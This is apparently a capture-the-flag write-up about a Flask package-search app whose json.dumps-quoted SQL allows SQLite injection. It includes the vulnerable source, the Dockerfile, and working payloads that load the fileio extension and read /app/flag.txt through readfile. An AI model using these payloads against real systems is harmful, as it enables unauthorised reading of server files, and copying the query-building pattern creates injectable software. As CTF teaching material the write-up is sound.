Explore the world of debian/debian-based packages.
We're given a Python server that looks like this:
import sqlite3
import json
from flask import Flask, request, render_template_string
app = Flask(__name__)
db = sqlite3.connect("packages.db", check_same_thread=False)
db.enable_load_extension(True)
db.row_factory = sqlite3.Row
TEMPLATE = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Package Search</title>
<style>
body { font-family: sans-serif; max-width: 800px; margin: 2rem auto; }
form { margin-bottom: 1rem; }
table { border-collapse: collapse; width: 100%; }
th, td { border: 1px solid #ccc; padding: 0.5rem; text-align: left; }
th { background: #f4f4f4; }
</style>
</head>
<body>
<h1>Package Search</h1>
<form method="get">
<label>Distro:
<input name="distro" value="{{ request.args.get('distro', '') }}">
</label>
<label>Package:
<input name="package" value="{{ request.args.get('package', '') }}">
</label>
<button type="submit">Search</button>
</form>
{% if results %}
<h2>Showing {{ results|length }} result{{ 's' if results|length != 1 else '' }}</h2>
<table>
<tr>
<th>Distro</th>
<th>Distro Version</th>
<th>Package</th>
<th>Package Version</th>
</tr>
{% for row in results %}
<tr>
<td>{{ row['distro'] }}</td>
<td>{{ row['distro_version'] }}</td>
<td>{{ row['package'] }}</td>
<td>{{ row['package_version'] }}</td>
</tr>
{% endfor %}
</table>
{% else %}
<p>No results found.</p>
{% endif %}
</body>
</html>
"""
@app.route("/", methods=["GET"])
def index():
distro = request.args.get("distro", "").strip().lower()
package = request.args.get("package", "").strip().lower()
sql = "SELECT distro, distro_version, package, package_version FROM packages"
if distro or package:
sql += " WHERE "
if distro:
sql += f"LOWER(distro) = {json.dumps(distro)}"
if distro and package:
sql += " AND "
if package:
sql += f"LOWER(package) = {json.dumps(package)}"
sql += " ORDER BY distro, distro_version, package"
print(sql)
results = db.execute(sql).fetchall()
return render_template_string(TEMPLATE, request=request, results=results)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)We can see that even though json.dumps() surrounds our query in quotes, we can still easily get SQL injection by putting quotes in our query ourselves: a distro of
"OR 1=1;--results in the following SQL query
SELECT distro, distro_version, package, package_version FROM packages WHERE LOWER(distro) = "\"OR 1=1;--"and even though json.dumps() escapes our inner quote with a backslash, backslash escapes are not supported in SQLite and the \ is treated as a plain character.
Another thing to notice is
db.enable_load_extension(True)which enables the SQLite load_extension() function for loading .so extension files.
Looking at the Dockerfile,
FROM ghcr.io/astral-sh/uv:debian
RUN wget https://sqlite.org/src/tarball/sqlite.tar.gz?r=release -O sqlite.tar.gz
RUN tar xf sqlite.tar.gz
WORKDIR /sqlite
RUN ./configure
RUN make -j$(nproc)
WORKDIR /sqlite/ext/misc
RUN for f in *; do gcc -g -fPIC -shared $f -o "${f%.c}.so"; done
ADD main.py pyproject.toml uv.lock seed.sql flag.txt /app/
WORKDIR /app/
RUN /sqlite/sqlite3 packages.db < seed.sql
RUN uv sync --locked
USER 1000
ENV PYTHONUNBUFFERED=1
CMD .venv/bin/python3 main.pythey've conveniently compiled all extensions in sqlite/ext/misc to .so files, and we can load them at will with
SELECT load_extension('/sqlite/ext/misc/{...}.so');So which of these extensions seem helpful? Conveniently, fileio defines readfile() and writefile() functions for SQL:
/*
** 2014-06-13
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** This SQLite extension implements SQL functions readfile() and
** writefile(), and eponymous virtual type "fsdir".
**
** ...
**
** READFILE(FILE):
**
** Read and return the contents of file FILE (type blob) from disk.
**
** ...
*/Thus, we can simply query
"OR 1=1 UNION SELECT load_extension('/sqlite/ext/misc/fileio.so'), 1, 1, 1;--to load the fileio extension (we need UNION SELECT since we are tacking this onto the end of an existing query, and UNION SELECT requires both sides of the query to have the same number of columns), and
"OR 1=1 UNION SELECT readfile('/app/flag.txt'), 1, 1, 1 from packages;--to read the flag:
